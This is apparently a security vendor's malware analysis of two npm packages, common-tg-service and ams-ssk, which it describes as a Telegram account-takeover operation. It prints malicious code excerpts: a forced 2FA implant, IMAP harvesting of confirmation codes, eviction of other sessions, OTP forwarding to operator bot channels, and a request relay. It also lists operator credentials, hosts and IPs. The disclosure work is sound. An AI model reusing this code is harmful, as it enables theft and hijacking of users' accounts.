common-tg-service: 502 npm Versions Hijack Telegram
Table of Contents
TL;DR
common-tg-service is an npm package that presents itself as a “Common Telegram service for NestJS applications.” The compiled code inside dist/ is a Telegram account-takeover framework. All 502 published versions (1.0.1 through 1.3.207) are malicious. The package pulls 28,000 weekly downloads on the public npm registry.
A second package by the same publisher, [email protected], is the server-side runtime that common-tg-service calls back to. ams-ssk does not attack the host that installs it. It ships the operator’s infrastructure code: same shetty123 npm publisher, identical folders/:folder/files/download-all API surface, the same copy-pasted NestJS template README, the same disguise pattern. Matched client and server.
Impact:
- Sets a hardcoded 2FA password (
Ajtdmwajt1@) on every Telegram account passed through the service, with the operator’s Gmail ([email protected]) as recovery address. - Reads the operator’s IMAP mailbox to auto-submit Telegram’s 2FA confirmation email. The victim sees nothing.
- Revokes every device authorization that does not match the operator’s session, kicking the legitimate owner off their own account.
- Forwards every OTP login code from Telegram chat
777000to operator-controlled bot channels alongside the victim’s phone number. - Runs an SRP-check loop against every managed account and flags any account where the user rotated their 2FA as
FOREIGN 2FA password, account unrecoverable. - Pulls runtime configuration from
npoint.iousing committed plaintext credentials and a pre-baked session cookie. The operator can change behavior of all deployed instances without re-publishing. - Routes blocked HTTP requests through
helper-thge.onrender.comas an attribution-laundering relay.
Indicators of Compromise (campaign-level):
| Type | Indicator | Source | Notes | |
|---|---|---|---|---|
| 1 | npm publisher | shetty123 <[email protected]> | both | maintainer of both packages |
| 2 | display author | Mad_man | ams-ssk | used in repository.url; declared author for ams-ssk |
| 3 | domain | paidgirl.site | common-tg-service | operator brand frontend |
| 4 | domain | cms.paidgirl.site | both | AMS / CMS deployment + IP-management API |
| 5 | domain | promoteClients2.glitch.me | ams-ssk | Glitch-hosted AMS / promote-clients deployment (new finding) |
| 6 | domain | helper-thge.onrender.com | common-tg-service | WAF-bypass / HTTP-relay |
| 7 | domain | www.npoint.io | common-tg-service | remote JSON config store; account [email protected] |
| 8 | domain | imap.gmail.com | common-tg-service | 2FA confirmation-code mailbox; account [email protected] |
| 9 | domain | zomcall.netlify.app | common-tg-service | operator-controlled frontend |
| 10 | domain | tgchats.netlify.app | common-tg-service | operator-controlled frontend |
| 11 | domain | tg-chats.netlify.app | common-tg-service | operator-controlled frontend |
| 12 | domain | report-upi.netlify.app | common-tg-service | operator-controlled frontend (UPI = India payments) |
| 13 | IP | 31.97.59.2 | common-tg-service | operator VPS IP (allowlisted) |
| 14 | IP | 148.230.84.50 | common-tg-service | operator VPS IP |
| 15 | IP | 13.228.225.19 | common-tg-service | operator VPS IP (AWS Singapore) |
| 16 | IP | 18.142.128.26 | common-tg-service | operator VPS IP (AWS Singapore) |
| 17 | IP | 54.254.162.138 | common-tg-service | operator VPS IP (AWS Singapore) |
| 18 | credential | Ajtdmwajt1@ | common-tg-service | hardcoded universal 2FA password and npoint.io password |
| 19 | credential | santoor | common-tg-service | hardcoded internal API key / auth bypass |
| 20 | credential | [email protected] | common-tg-service | 2FA recovery email implanted on victim accounts |
| 21 | credential | password - India143 | common-tg-service | 2FA hint implanted on victim accounts |
| 22 | Telegram chat | -1001801844217 | common-tg-service | default accountsChannel exfil destination |
| 23 | Telegram chat | -1001972065816 | common-tg-service | default updatesChannel exfil destination |
Three details name the target: the “UPI Integration” feature in the README, the report-upi.netlify.app origin, and the India143 2FA hint. The framework is aimed at Indian Telegram accounts for downstream payments fraud.
Package 1: common-tg-service
Provenance
| Field | Value |
|---|---|
| Package | common-tg-service |
| Latest version analyzed | 1.3.207 |
| Total versions on npm | 502 (1.0.1 → 1.3.207) |
| First publish | version 1.0.1 |
| Maintainer | shetty123 <[email protected]> |
| License declared | MIT |
| Engines | node >=22.0.0 |
| Install-time scripts | None. The malice triggers at runtime, not install time |
| Weekly downloads | ~28,000 |
| Tarball | common-tg-service-1.3.207.tgz |
| SHA-1 | 5061bc9611e31a48a8085cfab4cb875a6cc633ec |
| Package size | 662.9 kB packed / 4.0 MB unpacked / 934 files |
The version count was verified directly:
$ npm view common-tg-service versions --json | jq 'length'502The package declares no preinstall or postinstall hooks. Install-time scanners that gate on lifecycle scripts will not flag it. The malice runs when the service starts, not when npm install does.
Behavior 1: 2FA implant via IMAP
When the service handles a Telegram account without a 2FA password, it sets one. The password, recovery email, and hint are all hardcoded.
// dist/components/Telegram/manager/auth-operations.js:110async function set2fa(ctx) { if (!(await hasPassword(ctx))) { const twoFaDetails = { hint: 'password - India143', newPassword: 'Ajtdmwajt1@', }; return imapService.runExclusive(async () => { await imapService.connectToMail(30_000); await ctx.client.updateTwoFaSettings({ isCheckPassword: false, email: twoFaDetails.email, hint: twoFaDetails.hint, newPassword: twoFaDetails.newPassword, emailCodeCallback: async (length) => { /* polls operator's mailbox up to 4 times, reads the email confirmation code Telegram sent, and submits it back to Telegram automatically */ }, }); }); }}The IMAP module connects to the operator’s imap.gmail.com mailbox, reads the confirmation code Telegram sends to the recovery address, and submits it back to Telegram. The whole 2FA setup runs without prompting the victim.
The recovery email being operator-controlled is the load-bearing detail. Even if a victim regains some other access to their account, the operator can reset 2FA at any time through the recovery flow.
Behavior 2: ownership-verification loop
The framework does not just take the account over. It watches for users who escape.
// dist/components/shared/base-client.service.js:208this.KNOWN_2FA_PASSWORD = 'Ajtdmwajt1@';// ...const srp = await computeCheck(passwordInfo, this.KNOWN_2FA_PASSWORD);if (/* SRP check failed */) { this.logger.warn(`${mobile}: 2FA password verification failed, foreign password`); await this.markAsInactive(doc.mobile, 'Foreign 2FA password, account unrecoverable if session dies'); this.botsService.sendMessageByCategory( ChannelCategory.ACCOUNT_NOTIFICATIONS, `<b>FOREIGN 2FA</b>\n<b>Mobile:</b> ${doc.mobile}\n<b>Status:</b> Account has unknown 2FA password, marked inactive`, { parseMode: 'HTML' } );}On a loop, the framework SRP-checks every managed account against the hardcoded password. If the legitimate user has rotated their 2FA, the framework marks the account unrecoverable and pings the operator’s Telegram channel. The campaign alerts on user pushback.
Behavior 3: forcible eviction of other sessions
For every other device authorized on the account, the framework calls account.GetAuthorizations, filters out the operator’s own session fingerprint, and revokes the rest.
// dist/components/Telegram/manager/auth-operations.js:32async function removeOtherAuths(ctx) { const result = await ctx.client.invoke(new Api.account.GetAuthorizations()); for (const auth of result.authorizations) { if (isOwnAuth(ctx.phoneNumber, auth)) continue; await fetchWithTimeout( `${notifbot()}&text=${encodeURIComponent( `Removing Auth\n\nMobile: ${ctx.phoneNumber}\nApp: ${auth.appName}\n` + `Device: ${auth.deviceModel}\nCountry: ${auth.country}\nAPI ID: ${auth.apiId}` )}` ); await resetAuthorization(ctx, auth); }}Each revocation reports back to the operator’s bot channel with phone, country, device model, and API ID. The legitimate owner gets booted off their own account, no notification, no recourse.
Behavior 4: OTP harvesting from chat 777000
Telegram delivers OTP login codes from the official sender chat 777000. The framework listens for messages on that chat and forwards them straight to the operator’s bot channel.
// dist/components/Telegram/manager/client-operations.js:107if (event.message.chatId.toString() == '777000') { await fetchWithTimeout( `${notifbot()}&text=${encodeURIComponent( `Login Code Received\n\nClient: ${process.env.clientId}\n` + `Mobile: ${ctx.phoneNumber}\nMessage: ${event.message.text?.substring(0, 100)}` )}` );}Any phone number passing through the framework gives the operator full login capability on demand.
Behavior 5: npoint.io as remote config store
npoint.io is a free public JSON hosting service. The operator committed live credentials and a pre-baked session cookie for their npoint account into the source.
// dist/components/n-point/npoint.service.js:17this.cookie = '_npoint_session=MTBOeElFZ0pX...== --4d0883b9956c6...';this.baseUrl = 'https://www.npoint.io';this.signInUrl = 'https://www.npoint.io/users/sign_in';// ...const data = JSON.stringify({ user: { password: 'Ajtdmwajt1@', },});Every running instance authenticates to npoint as the operator and pulls JSON configuration from there. The operator can change behavior of all deployed instances by editing a JSON file on npoint, no re-publish required.
Behavior 6: HTTP request laundering
On HTTP 403 or 495, the framework re-issues the request through an operator-controlled relay.
// dist/utils/fetchWithTimeout.js:79async function makeBypassRequest(url, options) { const finalBypassUrl = bypassUrl.startsWith('http') ? bypassUrl : 'https://helper-thge.onrender.com/execute-request'; const response = await bypassAxios.post( finalBypassUrl, { url, method, headers, data, params /* ... */, }, { headers: { 'x-api-key': process.env.X_API_KEY || 'santoor' } } );}
if (parsedError.status === 403 || parsedError.status === 495) { const bypassResponse = await makeBypassRequest(url, options);}helper-thge.onrender.com runs on Render’s free tier and serves as an attribution-laundering proxy. The authentication header is the shared string santoor, which the codebase reuses as a universal internal API key.
Behavior 7: authentication bypass backdoor
The service exposes administrative endpoints behind an AuthGuard. Any one of three conditions passes the guard:
// dist/guards/auth.guard.js:14const ALLOWED_IPS = ['31.97.59.2', '148.230.84.50', '13.228.225.19', '18.142.128.26', '54.254.162.138'];const ALLOWED_ORIGINS = [ 'https://paidgirl.site', 'https://zomcall.netlify.app', /* ... */];// ...if (apiKey && apiKey.toLowerCase() === 'santoor') { passedReason = 'API key valid';}The API key is a publicly readable string in the source. Anyone who reads the package can authenticate as the operator.
Cross-reference map for common-tg-service
| File | Role |
|---|---|
dist/components/n-point/npoint.service.js | npoint.io C2 config store with hardcoded operator creds and session cookie |
dist/components/Telegram/manager/auth-operations.js | 2FA implant, IMAP mail polling, eviction of other authorizations |
dist/components/Telegram/manager/client-operations.js | OTP exfil to Telegram bot channel |
dist/components/Telegram/manager/helpers.js | cms.paidgirl.site internal hosts, file-download API key handling |
dist/components/shared/base-client.service.js | KNOWN_2FA_PASSWORD ownership-verification loop, FOREIGN 2FA detection |
dist/components/session-manager/session.service.js | DEFAULT_PASSWORD = 'Ajtdmwajt1@', OTP read from 777000 |
dist/components/Telegram/utils/generateTGConfig.js | Pulls proxy/IP config from cms.paidgirl.site/ip-management |
dist/utils/fetchWithTimeout.js | HTTP bypass relay through helper-thge.onrender.com/execute-request |
dist/utils/logbots.js | Telegram bot exfil URL builders, default operator chat IDs |
dist/IMap/IMap.js | Gmail IMAP client used to grab 2FA confirmation codes |
dist/cloudinary.js | Pulls zip payloads from cms.paidgirl.site |
dist/guards/auth.guard.js | Hardcoded operator IPs, origins, and API key santoor for inbound auth |
Manifest and README deception
The README is a copy-pasted NestJS template, presenting the package as “A progressive Node.js framework” with a generic feature list (Telegram Bot Integration, Channel Management, Statistics, Promotion Management, UPI Integration). It mentions none of the real behaviors: no 2FA modification, no IMAP polling, no hardcoded credentials, no Telegram bot exfil, no forced revocation of other authorizations.
package.json declares no install-time scripts, so install-time scanners stay quiet. All malice runs at runtime.
Package 2: ams-ssk
The same shetty123 npm publisher also maintains ams-ssk, marketed as “NestJS AMS Library for file management.” On its own, ams-ssk is not a stealer or RAT. The package has no payload aimed at the host that runs npm install ams-ssk. What makes it interesting is the role it plays: the server-side runtime that common-tg-service calls into.
Provenance
| Field | Value |
|---|---|
| Package | ams-ssk |
| Latest version analyzed | 1.0.33 |
| Total versions on npm | 31 (1.0.0 → 1.0.33) |
| Tarball | ams-ssk-1.0.33.tgz |
| SHA-1 | 80da04770a779330803bdd00d00a354adc12859a |
| Package size | 161.8 kB packed / 680.7 kB unpacked / 92 files |
| npm publisher | shetty123 <[email protected]> (same as common-tg-service) |
| Declared author | Mad_man |
| Declared description | ”NestJS AMS Library for file management” |
| Declared repository | https://github.com/mad_man/ams.git (does not resolve) |
| Engines | node >=16.0.0 |
| First publish | 2025-03-05 |
| Latest publish | 2026-04-12 |
| Install-time scripts | None |
The display author Mad_man is the same handle that appears in the operator’s repository.url field.
What ams-ssk ships
The package bundles two functional modules:
FileModule, a folder-and-file CRUD API:listFolders,createFolder,deleteFolder,uploadFiles,downloadFile,moveFile,copyFile, plusgenerateShareableLink,getTemporaryLinks,uploadFromUrl, JSON path/query helpers, file preview, thumbnail, range-streaming, lock/unlock, versioning, and a bulk-zip endpointfolders/:folder/files/download-all(registered atdist/files/file.controller.js:428).BotModule, a Telegram multi-bot forwarder.botLoadBalancermanages a pool ofnode-telegram-bot-apiclients with per-bot operation counters;botServiceforwards incoming messages to configured channels with retry and admin-chat notification.
In isolation the code is clean of obvious red flags: no hardcoded operator credentials, no paidgirl.site strings, no eval or child_process, no base64 obfuscation, no postinstall hooks, no IMAP modules.
How it links to common-tg-service
The link is the API surface. common-tg-service calls a specific URL grammar; ams-ssk defines that same grammar.
common-tg-service calls | ams-ssk defines |
|---|---|
https://cms.paidgirl.site/folders/${folderName}/files/download-all (dist/cloudinary.js:87) | Route 'folders/:folder/files/download-all' (dist/files/file.controller.js:428) |
Internal allow-list includes cms.paidgirl.site (dist/components/Telegram/manager/helpers.js:202) | Responses use ${process.env.serviceUrl}/folders/<folder>/files/<file>?temp=true | ?share=true |
cms.paidgirl.site is a deployed instance of ams-ssk (or a sibling fork that shares the same controllers). The folder/file URL grammar is identical between client and server.
The Swagger DTO for shareable links leaks a second operator-controlled host that does not appear anywhere in common-tg-service:
// dist/files/dto/responses.dto.js:80example: 'https://promoteClients2.glitch.me/folders/docs/files/example.pdf?share=true',promoteClients2.glitch.me is a previously unreported operator host on the free Glitch.me platform. The “2” suffix points to sequential staging (promoteClients, promoteClients2, possibly more). The naming lines up with common-tg-service’s PromoteClientModule, which warms up newly-acquired Telegram accounts.
The two share architecture, not just an API:
| Feature | common-tg-service | ams-ssk |
|---|---|---|
| Multi-bot rotation | BOT_TOKENS CSV, round-robin in dist/utils/logbots.js | bot_BOT_MAX_OPERATIONS, botLoadBalancer.getNextBot() round-robin |
| Channel-based exfil | Five categories: accountsChannel, updatesChannel, notifChannel, httpFailuresChannel, miscmessages | TELEGRAM_CHANNEL_* env vars; channelId::description::botTokens parser (dist/config/bot.config.js:84) |
| Admin chat notifications | notifyAdmin analogues throughout | bot_ADMIN_CHAT_ID + notifyAdmin() (bot.service.js:124) |
| File-bundle pulls | Downloads zips via cms.paidgirl.site/folders/{x}/files/download-all | Serves zips from folders/:folder/files/download-all |
The disguise pattern is identical: copy-pasted NestJS template README (same circleci-image, same paypal.me/kamilmysliwiec, same Kamil Myśliwiec author block), misleading “file management library” description, undeclared Telegram bot integration in the keywords, and a non-resolvable GitHub repository URL.
One other tell: dist/files/utils/helper.js:42 hardcodes VIDEO_ROOT = path.resolve(process.cwd(), 'videos') and constrains getSafeFilePath to that directory. Combined with the paidgirl.site brand and the .mp4 default file extension, the AMS deployment likely hosts media used as honeypot bait for Telegram targets.
Indicators of Compromise (ams-ssk-specific)
| Indicator | Type | Location | |
|---|---|---|---|
| 1 | promoteClients2.glitch.me | operator-controlled host (Glitch.me free hosting) | dist/files/dto/responses.dto.js:80 |
| 2 | mad_man | operator handle (also in repository.url) | package.json author field |
| 3 | bot_ADMIN_CHAT_ID | env var for operator's Telegram admin chat | dist/config/bot.config.js:38 |
| 4 | TELEGRAM_CHANNEL_* | env-var prefix; channelId::description::botTokens schema | dist/config/bot.config.js:84 |
| 5 | videos/ | default media-hosting working directory | dist/files/utils/helper.js:42 |
Verdict on ams-ssk
| Axis | Classification |
|---|---|
| Direct local-execution malware against installer | No |
| Member of a confirmed malicious-package campaign | Yes |
Suitable for OSV malicious-packages listing | Yes, campaign-associated, with common-tg-service as the campaign reference |
| npm takedown justification | Yes. Same publisher as confirmed credential-harvesting malware. Package leaks live operator C2 in its own documentation. Description is misleading. |
ams-ssk is operator infrastructure tooling, public on npm. Its secondary effect is plausible deniability: “this developer also publishes a normal NestJS library” softens scrutiny on the malicious sibling.
Remediation
If a project depends on common-tg-service at any version:
- Remove the dependency.
- Audit every Telegram account whose phone number passed through the service. Check the 2FA recovery email (
[email protected]means compromise), check the 2FA hint (password - India143means compromise), and review active authorizations under Settings → Devices for unknown sessions originating from the operator IPs above. - Reset Telegram 2FA password and recovery email, then revoke all other active sessions.
- Block egress to
paidgirl.site,cms.paidgirl.site,helper-thge.onrender.com,promoteClients2.glitch.me, andwww.npoint.iofrom any environment that ran the package. - Rotate any environment variables that may have been exposed to the running service:
BOT_TOKENS,clientId,accountsChannel,updatesChannel,notifChannel,httpFailuresChannel,X_API_KEY,PROXY_API_URL,PROXY_API_KEY,bypassURL.
Verdict
common-tg-service is a Telegram account-takeover framework, shipped as 502 npm versions under a benign NestJS-utility name. ams-ssk is the same operator’s server-side runtime, deployed at cms.paidgirl.site and promoteClients2.glitch.me and published on npm under the same shetty123 identity with the same disguise pattern. The two are a matched client and server in one credential-harvesting and account-hijacking operation.
- vet
- malware
- npm
- supply-chain
- credential-theft
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

exiouss: Cookie Stealer Bundled in npm Exam Cheat
exiouss on npm is the latest package from the loltestpad campaign — the same attacker who published the ixpresso-core Windows RAT in April. It bundles a dormant ChatGPT cookie stealer alongside an AI...

Mini Shai Hulud and SAP Compromise
Four SAP npm packages published on April 29, 2026 contain a two-stage credential-stealing payload targeting GitHub tokens, AWS keys, and CI/CD pipelines. The packages share SAP-affiliated...

PyTorch Lightning Compromised: Shai-Hulud Worm Reaches PyPI
PyPI yanked PyTorch Lightning versions 2.6.2 and 2.6.3 after both embedded a two-stage credential-stealing payload. Any import of the library spawns an 11MB obfuscated JavaScript worm identical to...

Malicious redeem-onchain-sdk npm Targets Crypto Wallets
redeem-onchain-sdk impersonates a Polymarket helper SDK and exfiltrates SSH keys, AWS credentials, npm tokens, Docker configs, Chrome saved logins, and a month of local git history to an AWS-hosted...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
